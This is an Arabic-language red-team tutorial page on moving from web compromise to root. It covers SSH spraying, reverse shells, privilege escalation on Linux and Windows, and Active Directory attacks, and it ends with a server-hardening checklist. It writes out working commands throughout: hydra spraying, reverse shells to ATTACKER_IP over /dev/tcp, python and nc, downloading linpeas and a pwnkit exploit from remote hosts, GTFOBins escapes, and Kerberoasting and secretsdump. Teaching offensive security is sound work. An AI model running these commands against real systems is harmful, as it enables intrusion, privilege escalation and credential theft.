الفرق الحمراء — الهجومخبير90mL43

Server Exploitation — السيرفر وقع والـ root في إيدك

RCE و SSH و LinPEAS و GTFOBins — اللي بيشتغل بجد

#RCE#SSH#LinPEAS#GTFOBins

من الويب للسيرفر — وصلنا لتنفيذ الأوامر

تشبيه — شرح مبسط
طب وصلنا للويب، وبعدين؟ نقعد نتفرّج على الـ login page؟ ولا نوصل للـ root وناخد الموضوع جد؟

فتحنا الباب الأمامي للمحل (الويب). دلوقتي عايزين ندخل المخزن (السيرفر)، وبعدها مكتب المدير (root). كل خطوة فيهم محتاجة مفتاح مختلف، وكل مفتاح ليه سكة مختلفة.

في حادثة Equifax 2017، Apache Struts vulnerability في تطبيق ويب أدّت لـ initial RCE. اللي حصل بعد كده هو الكارثة: المهاجم قعد جوه 76 يوم، عمل lateral movement على 51 قاعدة بيانات، وسحب 147 مليون سجل. الـ vuln مش هي الكارثة — الـ post-exploitation هي الكارثة.
غلطات الـ junior بعد أول shell
  • يعمل Ctrl+C في reverse shell خام، فيقتل الـ session كلها. ارفع الـ shell الأول.
  • يشغّل linpeas من غير ما يفحص الـ EDR. الـ EDR بيشوف اسم الـ binary من على بُعد كيلومتر.
  • يلاقي SUID على /usr/bin/find ويطير لـ GTFOBins من غير ما يفهم بيعمل إيه.
  • يخش بـ root direct بدل ما يعمل persistence أهدا. أول reboot، إنت بره.

Initial Foothold — أول قدم جوة

  • RCE عن طريق ثغرة ويب (اتكلمنا عنها الدرس اللي فات).
  • SSH brute force / spraying — اللي عنده passwords ضعيفة بيدفع التمن.
  • خدمة قديمة فيها CVE معروفة (Tomcat, Jenkins, GitLab).
  • مفاتيح اتسربت على GitHub — كنز بيتساب مكشوف.
SSH spray (authorized only)
hydra -L users.txt -p 'Summer2026!' ssh://target.gov -t 4 -f
crackmapexec ssh target.gov -u root -k id_rsa.leaked

Reverse Shell — قلب الاختراق كله

تشبيه — شرح مبسط
- طب الـ firewall قافل كل الـ inbound، أنا هخش إزاي يا حضرتك؟؟

يا مستجد.. كنت مستنيك تسأل السؤال ده. الـ firewall بيقفل الـ inbound، أيوه. بس الـ outbound مفتوح في 99% من الشبكات (لأن الموظفين عايزين Google و YouTube). فالحل بسيط: ما تحاولش تخش — خلّي السيرفر هو اللي يطلع لك. قلبت اللعبة في سطر واحد.
bash
# على جهاز المهاجم
nc -lnvp 4444
# على الضحية
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("A",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
busybox nc ATTACKER 4444 -e sh
رقّي الـ shell — متشتغلش على الخام
upgrade
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z
stty raw -echo; fg
export TERM=xterm-256color

Linux Privilege Escalation — من user لـ root

أتمتة الفحص — متضيعش وقتك

$ wget http://ATTACKER/linpeas.sh -O /tmp/p.sh && bash /tmp/p.sh
[+] SUID binaries: /usr/bin/find — exploitable via GTFOBins [!] Writable /etc/passwd

السكك المعروفة لـ root

  1. SUID binaries — افتح GTFOBins و ابص.
  2. Sudo misconfig — اعمل sudo -l الأول، و بعدين استغل.
  3. Writable /etc/passwd — ضيف يوزر بـ hash معروف و خلاص.
  4. Cron jobs بتشغل سكربت إنت ممكن تعدله.
  5. Kernel exploits — DirtyPipe (CVE-2022-0847)، Pwnkit (CVE-2021-4034).
  6. Docker socket — /var/run/docker.sock مركّب = root على طبق.
  7. Capabilities — cap_setuid على binary = خلاص.
GTFOBins examples
find . -exec /bin/sh -p \; -quit
sudo vim -c ':!/bin/sh'
curl -sLO https://raw.githubusercontent.com/.../pwnkit.c && gcc pwnkit.c -o pk && ./pk

Windows Privilege Escalation

  • winPEAS، PowerUp.ps1، Seatbelt — أدواتك الأساسية.
  • Unquoted Service Path.
  • AlwaysInstallElevated.
  • سرقة tokens بـ Mimikatz / Rubeus.
  • Kerberoasting — تطلع SPN tickets و تكسرهم بـ hashcat.
Active Directory
GetUserSPNs.py corp.local/user:pass -dc-ip DC -request
GetNPUsers.py corp.local/ -usersfile users.txt -no-pass
secretsdump.py -just-dc corp.local/admin@DC

الحماية: Server Hardening — قفل البيت

اوعى تسيب سيرفر في prod من غير ما يعدّي على القائمة دي. مش "best practice" — ده الحد الأدنى.

  1. SSH: مفاتيح بس، fail2ban، 2FA. مفيش passwords.
  2. اقلع أي SUID مش محتاجه.
  3. طبّق CIS Benchmarks — مش زينة، ضرورة.
  4. فعّل auditd و ابعت اللوجز للـ SIEM.
  5. EDR زي Wazuh / CrowdStrike / Defender for Endpoint.
  6. AppArmor / SELinux على enforcing — مش permissive.
  7. قسّم الشبكة (microsegmentation) عشان تقفل سكة الـ lateral movement.
قاعدة 1-10-60
CrowdStrike قالوها: اكتشف في دقيقة، حقق في 10 دقايق، احتوي في 60 دقيقة. اللي بياخد أكتر من كده بيخسر.

الخلاصة الناشفة

السيرفر مش بيتخرق بـ exploit واحد. بيتخرق بـ misconfig + missing patch + weak SSH password + SUID نسيان.
الـ junior بيقول: "وصلت root، خلصت".
الـ pro بيقول: "وصلت root، دلوقتي بدأت الشغل: persistence، lateral movement، cleanup، exfil".

في Equifax، الفترة من initial RCE لـ data exfil كانت 76 يوم. لو الـ EDR والـ network monitoring كانوا شغالين صح، الموضوع كان اتقفل في يوم. مش الـ vuln اللي خرقتهم — الـ visibility الناقصة هي اللي خرقتهم.

اكتبها على ظهر إيدك: الـ vuln بتفتحلك الباب. الـ visibility بتقفله عليك.